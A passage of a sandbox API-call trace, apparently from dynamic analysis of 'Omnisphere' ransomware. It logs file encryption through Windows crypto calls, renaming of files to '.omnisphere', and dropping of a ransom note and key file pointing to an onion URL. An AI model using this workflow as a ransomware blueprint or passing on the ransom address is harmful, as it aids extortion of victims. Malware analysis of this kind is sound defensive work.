dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.570] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.571] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.571] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0119.571] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.571] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.571] GetProcessHeap () returned 0x1600000 [0119.571] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16ae678 [0119.572] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ar6kh-ck.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ar6kh-ck.lnk.omnisphere")) returned 1 [0119.573] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk.omnisphere.id" [0119.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ar6kh-ck.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.574] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.575] CloseHandle (hObject=0x3c0) returned 1 [0119.576] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.576] CloseHandle (hObject=0x288) returned 1 [0119.576] SetEndOfFile (hFile=0x28c) returned 1 [0119.576] FlushFileBuffers (hFile=0x28c) returned 1 [0119.585] CloseHandle (hObject=0x28c) returned 1 [0119.585] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.585] GetProcessHeap () returned 0x1600000 [0119.585] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be2a0 [0119.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.585] GetProcessHeap () returned 0x1600000 [0119.585] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2090 [0119.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2090, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.585] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.585] GetProcessHeap () returned 0x1600000 [0119.585] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afde8 [0119.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afde8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.585] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.585] GetProcessHeap () returned 0x1600000 [0119.586] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2ba8 [0119.586] PathCombineW (in: pszDest=0x16a2ba8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.586] GetProcessHeap () returned 0x1600000 [0119.586] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b5100 [0119.586] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.586] WriteFile (in: hFile=0x28c, lpBuffer=0x16b5100*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b5100*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.586] CloseHandle (hObject=0x28c) returned 1 [0119.586] GetProcessHeap () returned 0x1600000 [0119.586] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be2a0 | out: hHeap=0x1600000) returned 1 [0119.586] GetProcessHeap () returned 0x1600000 [0119.587] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.587] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.587] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.587] CloseHandle (hObject=0x28c) returned 1 [0119.587] GetProcessHeap () returned 0x1600000 [0119.587] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.587] GetProcessHeap () returned 0x1600000 [0119.587] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0119.588] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0119.588] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219b5bd8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x219b5bd8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x219b5bd8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0xd3, cFileName="AWZI9 (2).lnk", cAlternateFileName="AWZI9(~1.LNK")) returned 1 [0119.588] GetProcessHeap () returned 0x1600000 [0119.588] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656cb8 [0119.588] PathCombineW (in: pszDest=0x1656cb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="AWZI9 (2).lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk" [0119.588] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9 (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.588] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1235) returned 1 [0119.588] GetTickCount () returned 0x115de18 [0119.588] GetTickCount () returned 0x115de18 [0119.588] GetTickCount () returned 0x115de18 [0119.588] GetTickCount () returned 0x115de18 [0119.588] GetTickCount () returned 0x115de18 [0119.588] GetTickCount () returned 0x115de18 [0119.588] GetTickCount () returned 0x115de18 [0119.588] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] GetTickCount () returned 0x115de18 [0119.589] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0119.590] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.590] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.590] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.590] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.590] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d3, lpName=0x0) returned 0x288 [0119.591] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d3) returned 0x1480000 [0119.591] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0119.592] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0119.592] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 